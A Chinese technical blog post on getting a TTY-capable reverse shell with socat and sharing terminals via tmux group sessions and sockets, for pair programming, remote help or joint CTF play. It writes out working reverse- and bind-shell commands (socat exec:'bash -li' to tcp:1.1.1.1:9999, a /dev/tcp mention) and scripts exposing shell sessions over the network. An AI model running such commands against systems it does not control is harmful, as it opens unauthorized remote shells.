socat反弹shell+tmux共享会话

使用socat得到一个带有ptystrong shell,然后使用tmux共享会话和结对编程。

socat反弹shell

反弹shell的原理并不复杂,需要建议的一点是,若是AshellB,那么最好是B拥有公网IP,否则由A把程序和公网IP的端口绑定的话,任何人都能通过该端口访问到反弹的shell

使用nc或者bash -i > /dev/tcp/xxxx等的方式反弹的shell是没有tty的,那么使用Ctrl+C会退出程序,而不是给tty发送信号。同时,无法使用tmux分屏复用工具,无法使用自动补全功能等。

如果想要像ssh会话一样使用shell,就需要反弹一个带有ttyshell,可以借助socat来实现这一功能。

你弹给我

我有公网IP,地址为:1.1.1.1

我在1.1.1.1机器上执行:

1
socat file:`tty`,raw,echo=0 tcp-listen:9999,bind=0.0.0.0,reuseaddr,fork

你在自己的机器上执行:

1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.1.1.1:9999

如果有zsh,反弹一个zsh也不错。

还可以把弹shell的操作,换成给一个容器docker run -it xxx /bin/sh,或者其他需要借助tty的操作。

我弹给你

  • 假如你有公网IP,把上面的流程反过来即可。
  • 假如你没有公网IP,那么可以执行下面的操作。注意:下面的操作比较危险,不建议在公网上尝试。

我有公网IP,地址为:1.1.1.1

我在1.1.1.1机器上执行:

1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:9999,bind=0.0.0.0,reuseaddr,fork

你在自己的机器上执行:

1
socat file:`tty`,raw,echo=0 tcp:1.1.1.1:9999

同时,还可以借助frp这样的反向代理工具,将公网IP当做跳板,把处于局域网机器的shell分享出去。

tmux共享会话

tmux是一款终端复用工具,非常好用,极力推荐~

组会话

新建一个公共会话,命名为groupSession

1
tmux new -s groupSession

其他用户先登陆同一个账号,但不去直接连接这个会话,而是通过创建一个新的会话来加入上面的公共会话groupSession

1
tmux new -t groupSession -s otherSession

此时两个用户都可以在同一个会话里操作,就会好像第二个用户连接到了groupSession的会话一样。此时两个用户都可以创建新建的窗口,新窗口的内容依然会实时同步,但是其中一个用户切换到其它窗口,对另外一个用户没有任何影响,因此在这个共享的组会话中,用户各自的操作可以通过新建窗口来执行。即使第二个用户关闭otherSession会话,共享会话groupSession依然存在。

组会话在共享的同时,又保留了相对的独立,非常适合结对编程场景,它是结对编程最简单的方式。

优点

  • 会话完全共享
  • 既可以共享回话,又能保持相对独立。

缺点

  • 账号必须共享
  • 组会话所需的权限会带来安全隐患

因此,建议只和比较熟悉的人一起使用组会话功能。

演示视频如下:

socket共享

第一个用户指定一个socket文件来创建tmux session

1
tmux -S /tmp/shared new-session -s shared

另一个用户通过这个socket文件来attach上会话,需要保证有相关权限,否则会因权限不足而报错。

1
2
3
4
5
# 可读可写
tmux -S /tmp/shared attach-session -t shared

# 只读
tmux -S /tmp/shared attach-session -t shared -r

优点

  • 会话完全共享
  • 不需要使用同一个账户
  • 只需要控制创建的socket文件的权限即可

缺点

  • 之后加入的用户无法使用自己的配置文件
  • 共享时无法创建独立窗口,所有人的会话都是完全一样的

演示视频如下:

合并使用

使用场景

什么时候需要使用socat反弹shell+tmux共享会话的操作呢?有下面这几种场景可以使用:

  1. 想和小伙伴一起分享终端上的操作,但是又不想给ssh账号,或者说不想把ssh暴露在公网上
  2. 不想用腾讯会议这样的软件进行共享(腾讯会议能看到的东西太多了)
  3. 想给对方分享如何调试程序,需要一个人操作,一个人看,比如一起打CTF
  4. 想帮对方安装软件
  5. 协调解决服务器上的问题
  6. 想和小伙伴一起在终端工作,同时又能知道对方的操作,比如一起打CTF
  7. ······

如果想既要一起操作,又可以相对独立操作各自的窗口,那么就应该使用上面所提到的组会话功能。但之前提到了,组会话需要共享一个账号,也就是共享ssh的账户密码或者反弹一个自己的shell过去,如果双方并不熟悉,某一方要干坏事(比如种个马)的话,这种方式就会显得很不安全。因此,建议使用socket共享会话功能。下面所提到的都是socket共享回话的操作。

分享你的

原则依旧是:AB分享,B要有一个公网IP服务器。

我有公网IP,地址为:1.1.1.1

我在1.1.1.1机器上执行:

1
2
# 监听9999端口
socat file:`tty`,raw,echo=0 tcp-listen:9999,bind=0.0.0.0,reuseaddr,fork

你在自己的机器上执行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 打开两个终端窗口,第一个终端执行分割线之上的命令
# 创建会话
tmux -S /tmp/shared new-session -s shared
#-------------------------------------------------
# 第二个终端执行下面的命令
# 修改socket文件的权限
chmod o+rw /tmp/shared
# 添加临时用户
sudo useradd tmpuser
# 切换到临时用户并分享会话
sudo su -c "socat exec:'tmux -S /tmp/shared attach-session -t shared',pty,stderr,setsid,sigint,sane tcp:1.1.1.1:9999" tmpuser
# 删除临时用户
sudo userdel tmpuser
# 删除socket文件
/bin/rm /tmp/shared

分享我的

与上面反弹shell类似。

  • 假如你有公网IP,把上面的流程反过来即可。
  • 假如你没有公网IP,那么可以执行下面的操作。注意:下面的操作比较危险,不建议在公网上尝试。

我有公网IP,地址为:1.1.1.1

我在1.1.1.1机器上执行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 打开两个终端窗口,第一个终端执行分割线之上的命令
# 创建会话
tmux -S /tmp/shared new-session -s shared
#-------------------------------------------------
# 第二个终端执行下面的命令
# 修改socket文件的权限
chmod o+rw /tmp/shared
# 添加临时用户
sudo useradd tmpuser
# 切换到临时用户并分享会话
sudo su -c "socat exec:'tmux -S /tmp/shared attach-session -t shared',pty,stderr,setsid,sigint,sane tcp-listen:9999,bind=0.0.0.0,reuseaddr,fork" tmpuser
# 删除临时用户
sudo userdel tmpuser
# 删除socket文件
/bin/rm /tmp/shared

你在自己的机器上执行:

1
socat file:`tty`,raw,echo=0 tcp:1.1.1.1:9999

结束共享的时候,不要使用tmux detach,键入exit来结束。结束后记得删除socket文件。

一起操作

如果不需要独立窗口,两边读写同步的话,则使用socket共享会话功能。

上面的操作默认都是读写同步的。

我做你看

如果是你分享的会话,那么只需要把上面的分享你的的操作变为:

我有公网IP,地址为:1.1.1.1

我在1.1.1.1机器上执行:

1
socat file:`tty`,raw,echo=0 tcp-listen:9999,bind=0.0.0.0,reuseaddr,fork

你在自己的机器上执行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 打开两个终端窗口,第一个终端执行分割线之上的命令
# 创建会话
tmux -S /tmp/shared new-session -s shared
#-------------------------------------------------
# 第二个终端执行下面的命令
# 修改socket的权限
chmod o+rw /tmp/shared
# 添加临时用户
sudo useradd tmpuser
# 切换到临时用户并分享会话
sudo su -c "socat exec:'tmux -S /tmp/shared attach-session -t shared -r',pty,stderr,setsid,sigint,sane tcp:1.1.1.1:9999" tmpuser
# 删除临时用户
sudo userdel tmpuser
/bin/rm /tmp/shared

可以看到,只有一个地方不一样,就是tmux -S /tmp/shared attach-session -t shared再带上一个-r参数,使得会话只读。

你做我看

同样的,修改命令为tmux -S /tmp/shared attach-session -t shared -r即可。

演示视频如下:

参考

  1. https://blog.csdn.net/fm18771120556/article/details/123524078
  2. http://louiszhai.github.io/2017/09/30/tmux/#%E5%85%B1%E4%BA%AB%E8%B4%A6%E5%8F%B7-amp-%E7%BB%84%E4%BC%9A%E8%AF%9D
Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%